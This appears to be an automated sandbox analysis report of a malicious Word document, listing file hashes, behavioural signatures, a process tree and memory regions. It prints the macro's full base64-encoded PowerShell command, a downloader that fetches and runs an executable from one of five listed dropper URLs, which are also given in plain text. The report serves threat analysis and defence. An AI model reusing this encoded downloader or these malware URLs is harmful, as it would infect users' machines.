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Analysis

  • max time kernel
    118s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-20240611-en
  • resource tags

    arch:x64arch:x86image:win7-20240611-enlocale:en-usos:windows7-x64system
  • submitted
    15/06/2024, 21:58

General

  • Target

    b04cb8c75132e7b7f124a9c37d6d941d_JaffaCakes118.doc

  • Size

    324KB

  • MD5

    b04cb8c75132e7b7f124a9c37d6d941d

  • SHA1

    ed54bfba16dc2daf227cf6be8a951faef2e7552d

  • SHA256

    c6f1277b0484041ffff4e2a826a725a38aedcb7bfb55e2bc3c2b7ab47d0b29fd

  • SHA512

    fc0f2d875f954460e0ceba97521608d7627579d91b81d4e4ddbb9e6d580e0abbca3157148d64bcae0bd9bc8fcac799648b2e2b4bd314f9f355cfebe44a9d8edc

  • SSDEEP

    6144:SG5/BnVfRFJ7KK9aHScdX9znGU+1W2+JkZzZAeRs24C+44NEXvpSTYF6ik:S2n9R/lA5dX9znGU+1Wct/4x44NEB7Fg

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://159.89.153.180/jbgdP2PAlac

exe.dropper

http://ketanggungan.desabrebes.id/PYDKI4f4dEx

exe.dropper

http://gando24.com/akACCpMfqwHCN

exe.dropper

http://laylalanemusic.com/ZYn33EV8HB3mN_I8xn

exe.dropper

http://35.244.2.82/1sqwnVupMcFHi

Signatures

  • Blocklisted process makes network request 5 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\b04cb8c75132e7b7f124a9c37d6d941d_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2852
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2624
    • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLl.exe
      powersheLl -e JABHADgAXwA1ADQAXwAyADcAPQAoACcASQBfAF8AOQBfACcAKwAnADEAJwApADsAJABuADEAXwA3ADEAXwA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABKADgANQA2ADEAXwA9ACgAJwBoACcAKwAnAHQAJwArACcAdABwACcAKwAnADoALwAvADEANQA5AC4AOAAnACsAJwA5ACcAKwAnAC4AMQA1ADMALgAxADgAMAAvAGoAJwArACcAYgBnACcAKwAnAGQAUAAyAFAAQQBsAGEAYwBAAGgAdAAnACsAJwB0AHAAOgAvACcAKwAnAC8AawAnACsAJwBlAHQAYQBuACcAKwAnAGcAZwB1ACcAKwAnAG4AJwArACcAZwBhACcAKwAnAG4ALgBkAGUAcwBhAGIAcgBlAGIAZQBzAC4AaQAnACsAJwBkACcAKwAnAC8AJwArACcAUAAnACsAJwBZAEQASwAnACsAJwBJADQAZgA0ACcAKwAnAGQARQAnACsAJwB4AEAAaAB0AHQAcAA6ACcAKwAnAC8ALwBnAGEAbgBkAG8AMgA0ACcAKwAnAC4AYwBvAG0AJwArACcALwBhAGsAQQAnACsAJwBDAEMAcAAnACsAJwBNACcAKwAnAGYAcQAnACsAJwB3AEgAQwBOAEAAaAB0ACcAKwAnAHQAcAA6AC8ALwBsAGEAeQAnACsAJwBsACcAKwAnAGEAbAAnACsAJwBhAG4AZQBtAHUAcwBpACcAKwAnAGMALgBjAG8AbQAvAFoAWQBuACcAKwAnADMAMwBFAFYAJwArACcAOABIAEIAMwBtACcAKwAnAE4AXwAnACsAJwBJADgAeABuAEAAaAB0AHQAJwArACcAcAA6AC8ALwAzADUAJwArACcALgAyADQANAAuACcAKwAnADIALgAnACsAJwA4ADIAJwArACcALwAxAHMAcQB3AG4AVgB1ACcAKwAnAHAAJwArACcATQAnACsAJwBjACcAKwAnAEYASABpACcAKQAuAFMAcABsAGkAdAAoACcAQAAnACkAOwAkAEMAMQA0ADgAMgBfADcAPQAoACcATwAnACsAJwBfAF8AMgBfAF8AJwApADsAJABmAF8ANwBfADgAOABfAF8AIAA9ACAAKAAnADEAOAAnACsAJwAyACcAKQA7ACQAdwAwADQANgA3ADkAMAA5AD0AKAAnAEgAXwAnACsAJwAxADcAXwA1AF8AJwApADsAJABMADAAMQA4ADIAOAAxAF8APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAGYAXwA3AF8AOAA4AF8AXwArACgAJwAuACcAKwAnAGUAeABlACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAGkAMwA0ADUAXwA5ADEAIABpAG4AIAAkAEoAOAA1ADYAMQBfACkAewB0AHIAeQB7ACQAbgAxAF8ANwAxAF8ALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAaQAzADQANQBfADkAMQAsACAAJABMADAAMQA4ADIAOAAxAF8AKQA7ACQAZAA2AF8AXwBfADgAXwA9ACgAJwBIADYAMwAnACsAJwA5ACcAKwAnAF8AMwAnACkAOwBJAGYAIAAoACgARwBlAHQALQBJAHQAZQBtACAAJABMADAAMQA4ADIAOAAxAF8AKQAuAGwAZQBuAGcAdABoACAALQBnAGUAIAA0ADAAMAAwADAAKQAgAHsASQBuAHYAbwBrAGUALQBJAHQAZQBtACAAJABMADAAMQA4ADIAOAAxAF8AOwAkAEsAMAA4ADAAXwA4ADQAXwA9ACgAJwBOADUAJwArACcAXwBfAF8AOQAnACkAOwBiAHIAZQBhAGsAOwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATgAyAF8AOABfADAAPQAoACcAWQA0ACcAKwAnADcAOAAyACcAKwAnAF8ANQAnACkAOwA=
      1⤵
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1776

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      392974c96cb283a1123f903c0b102629

      SHA1

      b434034c2c36006b1f8658afb3d56f1bd23f9c42

      SHA256

      5e2115db2bf202bfc3e482693864178bf911e90870708317502e38bd993b5163

      SHA512

      c948e23be06abb010bc18e5e138ed56ed3d4aef141f3a92007e1fd900bee23aec03798c5afe93696127a8cbb3a017d3e734aa3076387f6aa612b476989111006

    • memory/1776-118-0x000000001B320000-0x000000001B602000-memory.dmp

      Filesize

      2.9MB

    • memory/1776-119-0x0000000002520000-0x0000000002528000-memory.dmp

      Filesize

      32KB

    • memory/2852-109-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2852-56-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2852-46-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2852-26-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2852-8-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2852-7-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2852-12-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2852-11-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2852-6-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2852-66-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2852-112-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2852-111-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2852-110-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2852-0-0x000000002FC01000-0x000000002FC02000-memory.dmp

      Filesize

      4KB

    • memory/2852-9-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2852-108-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2852-50-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2852-51-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2852-107-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2852-36-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2852-17-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2852-15-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2852-14-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2852-13-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2852-106-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2852-10-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2852-2-0x000000007173D000-0x0000000071748000-memory.dmp

      Filesize

      44KB

    • memory/2852-124-0x000000007173D000-0x0000000071748000-memory.dmp

      Filesize

      44KB

    • memory/2852-125-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2852-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2852-141-0x000000007173D000-0x0000000071748000-memory.dmp

      Filesize

      44KB